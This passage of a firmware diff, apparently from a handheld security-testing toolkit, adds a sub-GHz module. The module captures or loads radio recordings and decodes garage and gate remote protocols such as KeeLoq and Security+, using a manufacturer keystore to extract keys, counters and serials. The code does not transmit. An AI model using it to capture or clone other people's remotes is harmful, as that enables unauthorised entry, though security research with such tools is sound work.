     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerScrollToLine },
-    JS_ROM_VALUE(1559) /* scrollToLine */,
+    JS_ROM_VALUE(1568) /* scrollToLine */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_dialogCreateTextViewerGetLine },
-    JS_ROM_VALUE(1564) /* getLine */,
+    JS_ROM_VALUE(1573) /* getLine */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_dialogCreateTextViewerGetMaxLines },
-    JS_ROM_VALUE(1567) /* getMaxLines */,
+    JS_ROM_VALUE(1576) /* getMaxLines */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerGetVisibleText },
-    JS_ROM_VALUE(1571) /* getVisibleText */,
+    JS_ROM_VALUE(1580) /* getVisibleText */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerClear },
     JS_ROM_VALUE(1320) /* clear */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerFromString },
-    JS_ROM_VALUE(1576) /* setText */,
+    JS_ROM_VALUE(1585) /* setText */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_dialogCreateTextViewerClose },
-    JS_ROM_VALUE(1579) /* close */,
+    JS_ROM_VALUE(1588) /* close */,
     JS_CFUNC_generic, 0, 0 },
   { { .constructor = NULL },
-    JS_ROM_VALUE(1582) /* Gif */,
+    JS_ROM_VALUE(1591) /* Gif */,
     JS_CFUNC_constructor, 0, JS_CLASS_GIF },
   { { .generic = native_gifPlayFrame },
-    JS_ROM_VALUE(1584) /* gifPlayFrame */,
+    JS_ROM_VALUE(1593) /* gifPlayFrame */,
     JS_CFUNC_generic, 3, 0 },
   { { .generic = native_gifDimensions },
-    JS_ROM_VALUE(1589) /* gifDimensions */,
+    JS_ROM_VALUE(1598) /* gifDimensions */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_gifReset },
-    JS_ROM_VALUE(1594) /* gifReset */,
+    JS_ROM_VALUE(1603) /* gifReset */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_gifClose },
-    JS_ROM_VALUE(1598) /* gifClose */,
+    JS_ROM_VALUE(1607) /* gifClose */,
     JS_CFUNC_generic, 1, 0 },
   { { .constructor = NULL },
-    JS_ROM_VALUE(1602) /* Buffer */,
+    JS_ROM_VALUE(1611) /* Buffer */,
     JS_CFUNC_constructor, 0, JS_CLASS_BUFFER },
   { { .generic = native_buffer_from },
-    JS_ROM_VALUE(1605) /* from */,
+    JS_ROM_VALUE(1614) /* from */,
     JS_CFUNC_generic, 2, 0 },
   { { .generic = native_buffer_toString },
     JS_ROM_VALUE(136) /* toString */,
@@ -5937,10 +5974,10 @@ const JSSTDLibraryDef js_stdlib = {
   js_stdlib_table,
   js_c_function_table,
   js_c_finalizer_table,
-  4510,
+  4538,
   64,
-  1615,
-  4333,
+  1624,
+  4359,
   JS_CLASS_COUNT,
 };
 
diff --git a/src/modules/bjs_interpreter/subghz_js.cpp b/src/modules/bjs_interpreter/subghz_js.cpp
index 711c526f4..5ab57a9b8 100644
--- a/src/modules/bjs_interpreter/subghz_js.cpp
+++ b/src/modules/bjs_interpreter/subghz_js.cpp
@@ -3,6 +3,7 @@
 
 #include "modules/rf/rf_scan.h"
 #include "modules/rf/rf_utils.h"
+#include "modules/subghz_advanced/subghz_advanced_engine.h"
 
 #include "helpers_js.h"
 
@@ -182,4 +183,27 @@ JSValue native_subghzTxEnd(JSContext *ctx, JSValue *this_val, int argc, JSValue
     return JS_UNDEFINED;
 }
 
+JSValue native_subghzAdvancedRead(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv) {
+    int timeoutSec = 10;
+    if (argc > 0 && JS_IsNumber(ctx, argv[0])) { JS_ToInt32(ctx, &timeoutSec, argv[0]); }
+
+    SubGhzAdvancedFrame frame;
+    bool ok = SubGhzAdvancedEngine::instance().readAndDecode(bruceConfigPins.rfFreq, timeoutSec, frame);
+    if (!ok) return JS_NewString(ctx, "{}");
+    return JS_NewString(ctx, frame.toJson().c_str());
+}
+
+JSValue native_subghzAdvancedAnalyzeFile(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv) {
+    const char *filepath = NULL;
+    JSCStringBuf filepath_buf;
+    if (argc > 0 && JS_IsString(ctx, argv[0])) filepath = JS_ToCString(ctx, argv[0], &filepath_buf);
+
+    if (filepath == NULL) return JS_NewString(ctx, "{}");
+
+    SubGhzAdvancedFrame frame;
+    bool ok = SubGhzAdvancedEngine::instance().analyzePathAuto(String(filepath), frame);
+    if (!ok) return JS_NewString(ctx, "{}");
+    return JS_NewString(ctx, frame.toJson().c_str());
+}
+
 #endif
diff --git a/src/modules/bjs_interpreter/subghz_js.h b/src/modules/bjs_interpreter/subghz_js.h
index d8061cfaf..42e53e321 100644
--- a/src/modules/bjs_interpreter/subghz_js.h
+++ b/src/modules/bjs_interpreter/subghz_js.h
@@ -19,6 +19,10 @@ JSValue native_subghzTxSetup(JSContext *ctx, JSValue *this_val, int argc, JSValu
 JSValue native_subghzTxPulses(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
 JSValue native_subghzTxEnd(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
 
+// Advanced SubGHz API
+JSValue native_subghzAdvancedRead(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
+JSValue native_subghzAdvancedAnalyzeFile(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
+
 #ifdef __cplusplus
 }
 #endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
new file mode 100644
index 000000000..6b7c0e65b
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
@@ -0,0 +1,363 @@
+#include "subghz_advanced_decoder_adapter.h"
+
+#include "subghz_advanced_subfile_codec.h"
+
+#include <ctype.h>
+#include <stdlib.h>
+#include <vector>
+
+#include <subghz/environment.h>
+#include <subghz/receiver.h>
+
+#include <subghz/protocols/alutech_at_4n.h>
+#include <subghz/protocols/ansonic.h>
+#include <subghz/protocols/beninca_arc.h>
+#include <subghz/protocols/bett.h>
+#include <subghz/protocols/came.h>
+#include <subghz/protocols/came_atomo.h>
+#include <subghz/protocols/came_twee.h>
+#include <subghz/protocols/chamberlain_code.h>
+#include <subghz/protocols/clemsa.h>
+#include <subghz/protocols/dickert_mahs.h>
+#include <subghz/protocols/ditec_gol4.h>
+#include <subghz/protocols/doitrand.h>
+#include <subghz/protocols/dooya.h>
+#include <subghz/protocols/elplast.h>
+#include <subghz/protocols/faac_slh.h>
+#include <subghz/protocols/feron.h>
+#include <subghz/protocols/gangqi.h>
+#include <subghz/protocols/gate_tx.h>
+#include <subghz/protocols/hay21.h>
+#include <subghz/protocols/hollarm.h>
+#include <subghz/protocols/holtek.h>
+#include <subghz/protocols/holtek_ht12x.h>
+#include <subghz/protocols/honeywell.h>
+#include <subghz/protocols/honeywell_wdb.h>
+#include <subghz/protocols/hormann.h>
+#include <subghz/protocols/ido.h>
+#include <subghz/protocols/intertechno_v3.h>
+#include <subghz/protocols/jarolift.h>
+#include <subghz/protocols/keeloq.h>
+#include <subghz/protocols/kinggates_stylo_4k.h>
+#include <subghz/protocols/legrand.h>
+#include <subghz/protocols/linear.h>
+#include <subghz/protocols/linear_delta3.h>
+#include <subghz/protocols/magellan.h>
+#include <subghz/protocols/marantec.h>
+#include <subghz/protocols/marantec24.h>
+#include <subghz/protocols/mastercode.h>
+#include <subghz/protocols/megacode.h>
+#include <subghz/protocols/nero_radio.h>
+#include <subghz/protocols/nero_sketch.h>
+#include <subghz/protocols/nice_flo.h>
+#include <subghz/protocols/nice_flor_s.h>
+#include <subghz/protocols/phoenix_v2.h>
+#include <subghz/protocols/power_smart.h>
+#include <subghz/protocols/princeton.h>
+#include <subghz/protocols/revers_rb2.h>
+#include <subghz/protocols/roger.h>
+#include <subghz/protocols/secplus_v1.h>
+#include <subghz/protocols/secplus_v2.h>
+#include <subghz/protocols/smc5326.h>
+#include <subghz/protocols/somfy_keytis.h>
+#include <subghz/protocols/somfy_telis.h>
+#include <subghz/protocols/treadmill37.h>
+
+static const SubGhzProtocol* const kCoreProtocols[] = {
+    &subghz_protocol_keeloq,      &subghz_protocol_came,      &subghz_protocol_came_twee,
+    &subghz_protocol_came_atomo,  &subghz_protocol_nice_flo,  &subghz_protocol_nice_flor_s,
+    &subghz_protocol_faac_slh,    &subghz_protocol_princeton, &subghz_protocol_linear,
+    &subghz_protocol_linear_delta3,
+    &subghz_protocol_secplus_v1, &subghz_protocol_secplus_v2, &subghz_protocol_holtek,
+    &subghz_protocol_holtek_th12x, &subghz_protocol_doitrand, &subghz_protocol_megacode,
+    &subghz_protocol_power_smart,
+};
+
+static const SubGhzProtocolRegistry kCoreRegistry = {
+    .items = kCoreProtocols,
+    .size = sizeof(kCoreProtocols) / sizeof(kCoreProtocols[0]),
+};
+
+static const SubGhzProtocol* const kFullProtocols[] = {
+    &subghz_protocol_gate_tx,     &subghz_protocol_keeloq,      &subghz_protocol_nice_flo,
+    &subghz_protocol_came,        &subghz_protocol_faac_slh,    &subghz_protocol_nice_flor_s,
+    &subghz_protocol_came_twee,   &subghz_protocol_came_atomo,  &subghz_protocol_nero_sketch,
+    &subghz_protocol_ido,         &subghz_protocol_hormann,     &subghz_protocol_nero_radio,
+    &subghz_protocol_somfy_telis, &subghz_protocol_somfy_keytis, &subghz_protocol_princeton,
+    &subghz_protocol_linear,      &subghz_protocol_secplus_v2,  &subghz_protocol_secplus_v1,
+    &subghz_protocol_megacode,    &subghz_protocol_holtek,      &subghz_protocol_chamb_code,
+    &subghz_protocol_power_smart, &subghz_protocol_marantec,    &subghz_protocol_bett,
+    &subghz_protocol_doitrand,    &subghz_protocol_phoenix_v2,  &subghz_protocol_honeywell_wdb,
+    &subghz_protocol_magellan,    &subghz_protocol_intertechno_v3,
+    &subghz_protocol_clemsa,      &subghz_protocol_ansonic,     &subghz_protocol_smc5326,
+    &subghz_protocol_holtek_th12x, &subghz_protocol_linear_delta3,
+    &subghz_protocol_dooya,       &subghz_protocol_alutech_at_4n,
+    &subghz_protocol_kinggates_stylo_4k,
+    &subghz_protocol_mastercode, &subghz_protocol_honeywell, &subghz_protocol_legrand,
+    &subghz_protocol_dickert_mahs, &subghz_protocol_gangqi,   &subghz_protocol_marantec24,
+    &subghz_protocol_hollarm,    &subghz_protocol_hay21,      &subghz_protocol_revers_rb2,
+    &subghz_protocol_feron,      &subghz_protocol_roger,      &subghz_protocol_elplast,
+    &subghz_protocol_treadmill37, &subghz_protocol_beninca_arc, &subghz_protocol_jarolift,
+    &subghz_protocol_ditec_gol4,
+};
+
+static const SubGhzProtocolRegistry kFullRegistry = {
+    .items = kFullProtocols,
+    .size = sizeof(kFullProtocols) / sizeof(kFullProtocols[0]),
+};
+
+static bool splitLineKV(const String& line, String& key, String& value) {
+    const int idx = line.indexOf(':');
+    if(idx <= 0) return false;
+    key = line.substring(0, idx);
+    value = line.substring(idx + 1);
+    key.trim();
+    value.trim();
+    return key.length() > 0;
+}
+
+static String normalizeHexLike(const String& in) {
+    String out = in;
+    out.trim();
+    if(out.startsWith("0x") || out.startsWith("0X")) out = out.substring(2);
+    while(out.length() && (out[0] == ':' || out[0] == '=')) out.remove(0, 1);
+
+    String filtered;
+    filtered.reserve(out.length());
+    for(size_t i = 0; i < out.length(); i++) {
+        const char c = out[i];
+        if(isxdigit((unsigned char)c)) filtered += c;
+        else if(c == ' ') break;
+        else if(c == '\t') break;
+        else if(c == ';') break;
+        else if(c == ',') break;
+        else if(c == ')') break;
+    }
+    filtered.toUpperCase();
+    return filtered;
+}
+
+static String extractTokenAfter(const String& line, const char* marker) {
+    const int start = line.indexOf(marker);
+    if(start < 0) return "";
+    int pos = start + strlen(marker);
+    while(pos < (int)line.length() && isspace((unsigned char)line[pos])) pos++;
+    if(pos >= (int)line.length()) return "";
+
+    int end = pos;
+    while(end < (int)line.length() && !isspace((unsigned char)line[end])) end++;
+    return line.substring(pos, end);
+}
+
+static int extractBitCountFromLine(const String& line) {
+    const int bit_idx = line.indexOf("bit");
+    if(bit_idx <= 0) return 0;
+
+    int i = bit_idx - 1;
+    while(i >= 0 && isspace((unsigned char)line[i])) i--;
+    int end = i;
+    while(i >= 0 && isdigit((unsigned char)line[i])) i--;
+    if(end < 0 || end < i + 1) return 0;
+    return line.substring(i + 1, end + 1).toInt();
+}
+
+static void parseDecoderString(String text, SubGhzAdvancedFrame& frame) {
+    text.replace("\r", "");
+    int line_start = 0;
+    bool first_line = true;
+
+    while(line_start <= (int)text.length()) {
+        int line_end = text.indexOf('\n', line_start);
+        if(line_end < 0) line_end = text.length();
+        String line = text.substring(line_start, line_end);
+        line.trim();
+
+        if(line.length()) {
+            if(first_line && frame.bit_count <= 0) {
+                frame.bit_count = extractBitCountFromLine(line);
+            }
+
+            if(frame.key_hex.length() == 0 && line.indexOf("Key:") >= 0) {
+                frame.key_hex = normalizeHexLike(extractTokenAfter(line, "Key:"));
+            }
+            if(frame.counter.length() == 0) {
+                if(line.indexOf("Cnt:") >= 0) frame.counter = normalizeHexLike(extractTokenAfter(line, "Cnt:"));
+                else if(line.indexOf("PsCn:") >= 0)
+                    frame.counter = normalizeHexLike(extractTokenAfter(line, "PsCn:"));
+            }
+            if(frame.button.length() == 0 && line.indexOf("Btn:") >= 0) {
+                frame.button = normalizeHexLike(extractTokenAfter(line, "Btn:"));
+            }
+            if(frame.serial.length() == 0) {
+                if(line.indexOf("Sn:") >= 0) frame.serial = normalizeHexLike(extractTokenAfter(line, "Sn:"));
+                else if(line.indexOf("Serial:") >= 0)
+                    frame.serial = normalizeHexLike(extractTokenAfter(line, "Serial:"));
+            }
+            if(line.startsWith("MF:")) {
+                if(frame.notes.length()) frame.notes += "; ";
+                frame.notes += line;
+            }
+        }
+
+        first_line = false;
+        if(line_end == (int)text.length()) break;
+        line_start = line_end + 1;
+    }
+}
+
+static bool parseRawDurations(const String& text, std::vector<int32_t>& out) {
+    out.clear();
+
+    int line_start = 0;
+    while(line_start <= (int)text.length()) {
+        int line_end = text.indexOf('\n', line_start);
+        if(line_end < 0) line_end = text.length();
+
+        String line = text.substring(line_start, line_end);
+        line.replace("\r", "");
+        line.trim();
+
+        String k;
+        String v;
+        if(splitLineKV(line, k, v) && (k == "RAW_Data" || k == "Data_RAW")) {
+            const char* p = v.c_str();
+            while(*p) {
+                while(*p && isspace((unsigned char)*p)) p++;
+                if(!*p) break;
+
+                char* end = nullptr;
+                long n = strtol(p, &end, 10);
+                if(end == p) break;
+
+                if(n > INT32_MAX) n = INT32_MAX;
+                if(n < INT32_MIN) n = INT32_MIN;
+                out.push_back((int32_t)n);
+                p = end;
+            }
+        }
+
+        if(line_end == (int)text.length()) break;
+        line_start = line_end + 1;
+    }
+
+    return !out.empty();
+}
+
+static int frameScore(const SubGhzAdvancedFrame& frame) {
+    int score = 0;
+    if(frame.protocol_name.length() && frame.protocol_name != "Unknown" && frame.protocol_name != "RAW")
+        score += 50;
+    if(frame.key_hex.length()) score += 20;
+    if(frame.counter.length()) score += 12;
+    if(frame.button.length()) score += 10;
+    if(frame.serial.length()) score += 8;
+    if(frame.bit_count > 0) score += frame.bit_count;
+    return score;
+}
+
+struct DecodeContext {
+    SubGhzAdvancedFrame best;
+    int best_score = -1;
+    uint32_t frequency_hz = 0;
+    size_t pulse_count = 0;
+};
+
+static void subghzRxCallback(
+    SubGhzReceiver* receiver,
+    SubGhzProtocolDecoderBase* decoder_base,
+    void* context) {
+    UNUSED(receiver);
+    DecodeContext* ctx = (DecodeContext*)context;
+    if(!ctx || !decoder_base || !decoder_base->protocol) return;
+
+    SubGhzAdvancedFrame current;
+    current.valid = true;
+    current.protocol_name = decoder_base->protocol->name ? decoder_base->protocol->name : "Unknown";
+    current.frequency_hz = ctx->frequency_hz;
+    current.raw_summary = String((uint32_t)ctx->pulse_count) + " pulses";
+
+    FuriString* s = furi_string_alloc();
+    if(s) {
+        if(subghz_protocol_decoder_base_get_string(decoder_base, s)) {
+            parseDecoderString(String(furi_string_get_cstr(s)), current);
+        }
+        furi_string_free(s);
+    }
+
+    const int score = frameScore(current);
+    if(score >= ctx->best_score) {
+        ctx->best = current;
+        ctx->best_score = score;
+    }
+}
+
+bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
+    const String& text,
+    uint32_t frequency_hz,
+    bool full_profile,
+    SubGhzAdvancedFrame& frame) {
+    std::vector<int32_t> durations;
+    if(!parseRawDurations(text, durations)) return false;
+
+    SubGhzEnvironment* env = subghz_environment_alloc();
+    if(!env) return false;
+
+    subghz_environment_set_protocol_registry(env, full_profile ? &kFullRegistry : &kCoreRegistry);
+    (void)subghz_environment_load_keystore(env, "/mfcodes");
+
+    SubGhzReceiver* rx = subghz_receiver_alloc_init(env);
+    if(!rx) {
+        subghz_environment_free(env);
+        return false;
+    }
+
+    DecodeContext ctx;
+    ctx.frequency_hz = frequency_hz;
+    ctx.pulse_count = durations.size();
+
+    subghz_receiver_set_rx_callback(rx, subghzRxCallback, &ctx);
+    subghz_receiver_set_filter(rx, (SubGhzProtocolFlag)0xFFFFFFFFu);
+
+    for(const int32_t d : durations) {
+        if(d == 0) continue;
+        const bool level = d > 0;
+        uint32_t duration = (uint32_t)labs((long)d);
+        if(duration == 0 || duration > 2000000UL) continue;
+        subghz_receiver_decode(rx, level, duration);
+    }
+
+    subghz_receiver_free(rx);
+    subghz_environment_free(env);
+
+    if(ctx.best_score < 0 || !ctx.best.valid) return false;
+    frame = ctx.best;
+    return true;
+}
+
+SubGhzAdvancedFrame SubGhzAdvancedDecoderAdapter::decodeBruceCapture(
+    const String& capture,
+    const String& source,
+    bool full_profile) {
+    SubGhzAdvancedFrame parsed = SubGhzAdvancedSubFileCodec::parse(capture, source);
+    SubGhzAdvancedFrame decoded;
+
+    if(decodeRawSubText(capture, parsed.frequency_hz, full_profile, decoded)) {
+        decoded.source = source;
+        if(decoded.frequency_hz == 0) decoded.frequency_hz = parsed.frequency_hz;
+        if(decoded.bit_count == 0) decoded.bit_count = parsed.bit_count;
+        if(decoded.key_hex.length() == 0) decoded.key_hex = parsed.key_hex;
+        if(decoded.counter.length() == 0) decoded.counter = parsed.counter;
+        if(decoded.button.length() == 0) decoded.button = parsed.button;
+        if(decoded.serial.length() == 0) decoded.serial = parsed.serial;
+        if(decoded.raw_summary.length() == 0) decoded.raw_summary = parsed.raw_summary;
+        if(parsed.notes.length()) {
+            if(decoded.notes.length()) decoded.notes += "; ";
+            decoded.notes += parsed.notes;
+        }
+        decoded.filetype = parsed.filetype;
+        decoded.valid = true;
+        return decoded;
+    }
+
+    return parsed;
+}
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
new file mode 100644
index 000000000..e0b0e0374
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
@@ -0,0 +1,20 @@
+#ifndef __SUBGHZ_ADVANCED_DECODER_ADAPTER_H__
+#define __SUBGHZ_ADVANCED_DECODER_ADAPTER_H__
+
+#include "subghz_advanced_types.h"
+
+class SubGhzAdvancedDecoderAdapter {
+public:
+    static SubGhzAdvancedFrame decodeBruceCapture(
+        const String& capture,
+        const String& source = "live-rx",
+        bool full_profile = false);
+
+    static bool decodeRawSubText(
+        const String& text,
+        uint32_t frequency_hz,
+        bool full_profile,
+        SubGhzAdvancedFrame& frame);
+};
+
+#endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.cpp b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
new file mode 100644
index 000000000..7ecebc61d
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
@@ -0,0 +1,123 @@
+#include "subghz_advanced_engine.h"
+
+#include "core/sd_functions.h"
+#include "modules/rf/rf_scan.h"
+#include "subghz_advanced_decoder_adapter.h"
+#include "subghz_advanced_subfile_codec.h"
+
+static void normalizePath(String& p) {
+    p.trim();
+    if(!p.startsWith("/")) p = "/" + p;
+}
+
+SubGhzAdvancedEngine& SubGhzAdvancedEngine::instance() {
+    static SubGhzAdvancedEngine s;
+    return s;
+}
+
+void SubGhzAdvancedEngine::begin() {
+    initProtocolTables();
+#ifdef SUBGHZ_ADV_PROFILE_FULL
+    m_profile = SubGhzAdvancedProfile::FULL;
+#else
+    m_profile = SubGhzAdvancedProfile::CORE;
+#endif
+}
+
+void SubGhzAdvancedEngine::initProtocolTables() {
+    if(!m_coreProtocols.empty()) return;
+
+    m_coreProtocols = {
+        "Keeloq", "CAME", "CAME Twee", "CAME Atomo", "Nice FLO", "Nice FloR-S", "FAAC SLH",
+        "Princeton", "Linear", "LinearDelta3", "Security+ 1.0", "Security+ 2.0", "Holtek",
+        "Holtek_HT12X", "Doitrand", "Megacode", "Power Smart", "RAW", "BinRAW"};
+
+    // FULL profile placeholder for all protocols from upstream registry.
+    m_fullProtocols = m_coreProtocols;
+    m_fullProtocols.push_back("Nice One");
+    m_fullProtocols.push_back("Nero Sketch");
+    m_fullProtocols.push_back("Nero Radio");
+    m_fullProtocols.push_back("Mastercode");
+    m_fullProtocols.push_back("Marantec");
+    m_fullProtocols.push_back("Marantec24");
+    m_fullProtocols.push_back("Dooya");
+    m_fullProtocols.push_back("Bett");
+    m_fullProtocols.push_back("Intertechno_V3");
+}
+
+void SubGhzAdvancedEngine::setProfile(SubGhzAdvancedProfile profile) { m_profile = profile; }
+
+SubGhzAdvancedProfile SubGhzAdvancedEngine::getProfile() const { return m_profile; }
+
+String SubGhzAdvancedEngine::getProfileName() const {
+    return m_profile == SubGhzAdvancedProfile::FULL ? "FULL" : "CORE";
+}
+
+SubGhzAdvancedFrame
+SubGhzAdvancedEngine::analyzeSubFileText(const String& text, const String& source) {
+    begin();
+    const bool full_profile = (m_profile == SubGhzAdvancedProfile::FULL);
+    SubGhzAdvancedFrame frame =
+        SubGhzAdvancedDecoderAdapter::decodeBruceCapture(text, source, full_profile);
+    if(frame.valid) pushRecent(frame);
+    return frame;
+}
+
+bool SubGhzAdvancedEngine::analyzeSubFile(FS* fs, const String& path, SubGhzAdvancedFrame& frame) {
+    begin();
+    if(fs == nullptr) return false;
+    if(!fs->exists(path)) return false;
+
+    File f = fs->open(path, FILE_READ);
+    if(!f) return false;
+
+    String content = "";
+    while(f.available()) {
+        content += f.readStringUntil('\n');
+        content += "\n";
+    }
+    f.close();
+
+    frame = analyzeSubFileText(content, path);
+    return frame.valid;
+}
+
+bool SubGhzAdvancedEngine::analyzePathAuto(const String& inputPath, SubGhzAdvancedFrame& frame) {
+    begin();
+    String path = inputPath;
+    normalizePath(path);
+
+    if(setupSdCard() && SD.exists(path)) {
+        return analyzeSubFile(&SD, path, frame);
+    }
+    if(LittleFS.exists(path)) {
+        return analyzeSubFile(&LittleFS, path, frame);
+    }
+    return false;
+}
+
+bool SubGhzAdvancedEngine::readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame) {
+    begin();
+    if(freqMHz <= 0.0f) freqMHz = bruceConfigPins.rfFreq;
+    if(timeoutSec <= 0) timeoutSec = 10;
+
+    String capture = RCSwitch_Read(freqMHz, timeoutSec, true, true);
+    if(capture.length() == 0) return false;
+
+    const bool full_profile = (m_profile == SubGhzAdvancedProfile::FULL);
+    frame = SubGhzAdvancedDecoderAdapter::decodeBruceCapture(capture, "live-rx", full_profile);
+    if(frame.valid) pushRecent(frame);
+    return frame.valid;
+}
+
+void SubGhzAdvancedEngine::pushRecent(const SubGhzAdvancedFrame& frame) {
+    if(!frame.valid) return;
+    m_recent.insert(m_recent.begin(), frame);
+    if(m_recent.size() > 16) m_recent.pop_back();
+}
+
+const std::vector<SubGhzAdvancedFrame>& SubGhzAdvancedEngine::getRecent() const { return m_recent; }
+
+const std::vector<String>& SubGhzAdvancedEngine::getEnabledProtocolNames() const {
+    return m_profile == SubGhzAdvancedProfile::FULL ? m_fullProtocols : m_coreProtocols;
+}
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.h b/src/modules/subghz_advanced/subghz_advanced_engine.h
new file mode 100644
index 000000000..dd77d422e
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.h
@@ -0,0 +1,47 @@
+#ifndef __SUBGHZ_ADVANCED_ENGINE_H__
+#define __SUBGHZ_ADVANCED_ENGINE_H__
+
+#include "subghz_advanced_types.h"
+
+#include <FS.h>
+#include <vector>
+
+enum class SubGhzAdvancedProfile {
+    CORE = 0,
+    FULL = 1,
+};
+
+class SubGhzAdvancedEngine {
+public:
+    static SubGhzAdvancedEngine& instance();
+
+    void begin();
+
+    void setProfile(SubGhzAdvancedProfile profile);
+    SubGhzAdvancedProfile getProfile() const;
+    String getProfileName() const;
+
+    SubGhzAdvancedFrame analyzeSubFileText(const String& text, const String& source = "");
+    bool analyzeSubFile(FS* fs, const String& path, SubGhzAdvancedFrame& frame);
+    bool analyzePathAuto(const String& path, SubGhzAdvancedFrame& frame);
+
+    bool readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame);
+
+    void pushRecent(const SubGhzAdvancedFrame& frame);
+    const std::vector<SubGhzAdvancedFrame>& getRecent() const;
+
+    const std::vector<String>& getEnabledProtocolNames() const;
+
+private:
+    SubGhzAdvancedEngine() = default;
+
+    SubGhzAdvancedProfile m_profile = SubGhzAdvancedProfile::CORE;
+    std::vector<SubGhzAdvancedFrame> m_recent;
+
+    std::vector<String> m_coreProtocols;
+    std::vector<String> m_fullProtocols;
+
+    void initProtocolTables();
+};
+
+#endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_menu.cpp b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
new file mode 100644
index 000000000..100555fa9
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
@@ -0,0 +1,103 @@
+#include "subghz_advanced_menu.h"
+
+#include "core/display.h"
+#include "core/sd_functions.h"
+#include "core/utils.h"
+#include "modules/rf/rf_utils.h"
+#include "subghz_advanced_engine.h"
+
+#include <globals.h>
+
+static SubGhzAdvancedEngine& eng = SubGhzAdvancedEngine::instance();
+
+static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
+    drawMainBorderWithTitle(title);
+    padprintln("Protocol: " + f.protocol_name);
+    if(f.frequency_hz) padprintln("Frequency: " + String(f.frequency_hz));
+    if(f.bit_count) padprintln("Bit: " + String(f.bit_count));
+    if(f.key_hex.length()) padprintln("Key: " + f.key_hex);
+    if(f.counter.length()) padprintln("Counter: " + f.counter);
+    if(f.button.length()) padprintln("Button: " + f.button);
+    if(f.serial.length()) padprintln("Serial: " + f.serial);
+    if(f.raw_summary.length()) padprintln("RAW: " + f.raw_summary);
+    if(f.filetype.length()) padprintln("Filetype: " + f.filetype);
+    if(f.notes.length()) padprintln("Notes: " + f.notes);
+    padprintln("");
+    padprintln("Press any key to return");
+    while(!check(AnyKeyPress)) delay(20);
+    while(check(AnyKeyPress)) delay(20);
+}
+
+static void actionScanAndIdentify() {
+    SubGhzAdvancedFrame frame;
+    bool ok = eng.readAndDecode(bruceConfigPins.rfFreq, 10, frame);
+    if(!ok) {
+        displayError("No signal decoded", true);
+        return;
+    }
+    showFrame(frame, "SubGHz Identify");
+}
+
+static void actionAnalyzeSubFile() {
+    FS* fs = &LittleFS;
+    options = {
+        {"LittleFS", [&]() { fs = &LittleFS; }},
+    };
+    if(setupSdCard()) options.insert(options.begin(), {"SD Card", [&]() { fs = &SD; }});
+    loopOptions(options);
+
+    String path = loopSD(*fs, true, "SUB", "/BruceRF");
+    if(path.length() == 0) return;
+
+    SubGhzAdvancedFrame frame;
+    if(!eng.analyzeSubFile(fs, path, frame)) {
+        displayError("Unable to parse .sub", true);
+        return;
+    }
+
+    showFrame(frame, "Analyze .sub");
+}
+
+static void actionRecent() {
+    const auto& recent = eng.getRecent();
+    if(recent.empty()) {
+        displayInfo("No recent frames", true);
+        return;
+    }
+
+    std::vector<Option> opts;
+    for(size_t i = 0; i < recent.size(); i++) {
+        String label = String(i + 1) + ") " + recent[i].protocol_name;
+        opts.emplace_back(label, [i, &recent]() { showFrame(recent[i], "Recent"); });
+    }
+    addOptionToMainMenu();
+    loopOptions(opts, MENU_TYPE_SUBMENU, "SubGHz Recent");
+}
+
+static void actionSettings() {
+    int idx = eng.getProfile() == SubGhzAdvancedProfile::FULL ? 1 : 0;
+
+    std::vector<Option> settings = {
+        {"Profile: CORE", [&]() { eng.setProfile(SubGhzAdvancedProfile::CORE); }},
+        {"Profile: FULL", [&]() { eng.setProfile(SubGhzAdvancedProfile::FULL); }},
+        {"Set Frequency", []() { setMHZMenu(); }},
+        {"Set Range", []() { rf_range_selection(bruceConfigPins.rfFreq); }},
+    };
+    addOptionToMainMenu();
+    loopOptions(settings, MENU_TYPE_SUBMENU, "SubGHz Settings", idx);
+}
+
+void subghz_advanced_menu() {
+    eng.begin();
+
+    options = {
+        {"Scan & Identify", actionScanAndIdentify},
+        {"Analyze .sub", actionAnalyzeSubFile},
+        {"Recent", actionRecent},
+        {"Settings", actionSettings},
+    };
+
+    addOptionToMainMenu();
+    String title = "SubGHz Advanced [" + eng.getProfileName() + "]";
+    loopOptions(options, MENU_TYPE_SUBMENU, title.c_str());
+}
diff --git a/src/modules/subghz_advanced/subghz_advanced_menu.h b/src/modules/subghz_advanced/subghz_advanced_menu.h
new file mode 100644
index 000000000..57db99461
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_menu.h
@@ -0,0 +1,6 @@
+#ifndef __SUBGHZ_ADVANCED_MENU_H__
